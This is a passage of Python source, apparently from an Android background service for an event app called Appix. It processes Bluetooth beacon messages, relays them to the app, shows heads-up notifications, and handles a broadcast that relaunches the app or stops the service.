            if decoded_data['location_mode'] == 14:
                self.scan_standby(75)

            elif decoded_data['location_mode'] == 15:
                self.scan_standby(150)

        if self.appixservice._app_state == 'paused':
            if decoded_data['message_type'] in [2, 3, 4, 5, 7, 10, 11]:
                self.notify("We're Back", "Join the Show?")
            elif decoded_data['message_type'] == 8:
                if decoded_data['vibrate_code'] == 1:
                    self.notify("We're Back", "Join the Show?")

        # do not allow a stop or phrase through
        if (self.appixservice._app_state == 'paused' and decoded_data['message_type'] not in [3, 6]) \
                or self.appixservice._app_state == 'running':
            self.appixservice.comm_service.send_message(str(decoded_data))

        # refresh bluetooth if message is play, stop, sports...
        if decoded_data['message_type'] not in [0, 1, 7, 12, 13, 14, 15]:
            self.refresh_bluetooth()

    def format_beacon_data(self, data_string):
        d = data_string.replace(" ", "")
        return ' '.join(d[i:i + 4] for i in range(0, len(d), 4)).upper()

    def close_all_notifications(self):
        _ns.cancel(0)

    def check_notification_timeout(self):
        dift = datetime.now() - self._last_notification_time
        if dift.total_seconds(
        ) > NOTIFICATION_TIMEOUT and self.allow_notification:
            self.allow_notification = False
            return True
        return False

    def notify(self, title, message):
        global service
        if not self.check_notification_timeout():
            return
        self._last_notification_time = datetime.now()
        icon = getattr(Drawable, 'icon')
        noti = NotificationBuilder(service)

        noti.setPriority(
            Notification.PRIORITY_MAX
        )  # //HIGH, MAX, FULL_SCREEN and setDefaults(Notification.DEFAULT_ALL) will make it a Heads noti.Up Display Style
        noti.setDefaults(
            Notification.DEFAULT_ALL
        )  # //HIGH, MAX, FULL_SCREEN and setDefaults(Notification.DEFAULT_ALL) will make it a Heads Up Display Style

        noti.setContentTitle(AndroidString((title).encode('utf-8')))
        noti.setContentText(AndroidString((message).encode('utf-8')))
        noti.setTicker(AndroidString(('Appix').encode('utf-8')))
        noti.setSmallIcon(icon)
        noti.setAutoCancel(True)
        id = 996543

        appintent = Intent(Intent.ACTION_PROVIDER_CHANGED)
        pi_app = PendingIntent.getBroadcast(service, id, appintent,
                                            PendingIntent.FLAG_UPDATE_CURRENT)
        appintent.setData(Uri.parse('close'))

        # closeintent = Intent(Intent.ACTION_RUN)
        # pi_close = PendingIntent.getBroadcast(service, id, closeintent, PendingIntent.FLAG_UPDATE_CURRENT)
        # closeintent.setData(Uri.parse('open'))

        if not hasattr(self, 'br'):
            self.br = BroadcastReceiver(self.on_broadcast,
                                        actions=['provider_changed', 'run'])
            self.br.start()

        noti.addAction(0, AndroidString("Launch App"), pi_app)
        # noti.addAction(0, AndroidString("Close Service"), pi_close)
        if SDK_INT >= 16:
            noti = noti.build()
        else:
            noti = noti.getNotification()
        _ns.notify(0, noti)

    def on_broadcast(self, context, intent):
        global service
        # called when a device is found
        # close notification
        _ns.cancel(0)

        # close notification drawer
        it = Intent(Intent.ACTION_CLOSE_SYSTEM_DIALOGS)
        context.sendBroadcast(it)
        PythonActivity = autoclass('org.renpy.android.PythonActivity')

        action = str(intent.getAction())

        # Start Application
        intent = Intent(service.getApplicationContext(), PythonActivity)
        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK
                        | Intent.FLAG_ACTIVITY_REORDER_TO_FRONT)
        service.getApplicationContext().startActivity(intent)

        if action.endswith('RUN'):
            debug('clean_up_service')
            # import time
            # time.sleep(1)
            self.appixservice.comm_service.send_message('stop')
            self.appixservice.clean_up()